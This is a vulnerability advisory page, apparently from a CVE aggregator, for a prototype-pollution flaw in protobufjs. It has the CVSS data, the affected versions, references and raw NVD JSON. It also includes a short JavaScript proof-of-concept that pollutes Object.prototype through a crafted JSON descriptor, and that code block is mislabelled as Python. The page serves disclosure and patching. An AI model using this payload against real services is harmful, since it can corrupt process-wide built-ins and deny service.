CVE-2026-44290

Description

protobufjs compiles protobuf definitions into JavaScript (JS) functions. Prior to 7.5.6 and 8.0.2, protobufjs allowed certain schema option paths to traverse through inherited object properties while applying options. A crafted protobuf schema or JSON descriptor could cause option handling to write to properties on global JavaScript constructors, corrupting process-wide built-in functionality. This vulnerability is fixed in 7.5.6 and 8.0.2.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:* - VULNERABLE

protobufjs < 7.5.6

protobufjs >= 8.0.0, < 8.0.2

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// PoC for CVE-2026-44290 protobufjs Prototype Pollution
const protobuf = require("protobufjs");

// Malicious JSON descriptor designed to pollute the prototype chain
// via options path traversal.
const maliciousPayload = {
    nested: {
        MaliciousMessage: {
            fields: {},
            // Attempting to write to Object.prototype via options
            options: {
                "constructor.prototype.polluted": "true"
            }
        }
    }
};

try {
    const root = protobuf.Root.fromJSON(maliciousPayload);
    // Check if pollution was successful
    if ({}.polluted === "true") {
        console.log("Vulnerability Confirmed: Object.prototype.polluted is set to 'true'");
    } else {
        console.log("Vulnerability Mitigated or Patched");
    }
} catch (e) {
    console.error("Error executing PoC:", e);
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44290
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44290
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44290/
[4] VulDB https://vuldb.com/cve/CVE-2026-44290
[5] https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-jvwf-75h9-cwgg

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44290", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:55.847", "lastModified": "2026-05-14T12:23:20.007", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "protobufjs compiles protobuf definitions into JavaScript (JS) functions. Prior to 7.5.6 and 8.0.2, protobufjs allowed certain schema option paths to traverse through inherited object properties while applying options. A crafted protobuf schema or JSON descriptor could cause option handling to write to properties on global JavaScript constructors, corrupting process-wide built-in functionality. This vulnerability is fixed in 7.5.6 and 8.0.2."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "7.5.6", "matchCriteriaId": "BC190A12-59A1-4DEF-A65D-E4216ED5B807"}, {"vulnerable": true, "criteria": "cpe:2.3:a:protobufjs_project:protobufjs:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "8.0.0", "versionEndExcluding": "8.0.2", "matchCriteriaId": "734292AA-F3B2-4E3E-9FA2-0EBA7AB0BB45"}]}]}], "references": [{"url": "https://github.com/protobufjs/protobuf.js/security/advisories/GHSA-jvwf-75h9-cwgg", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}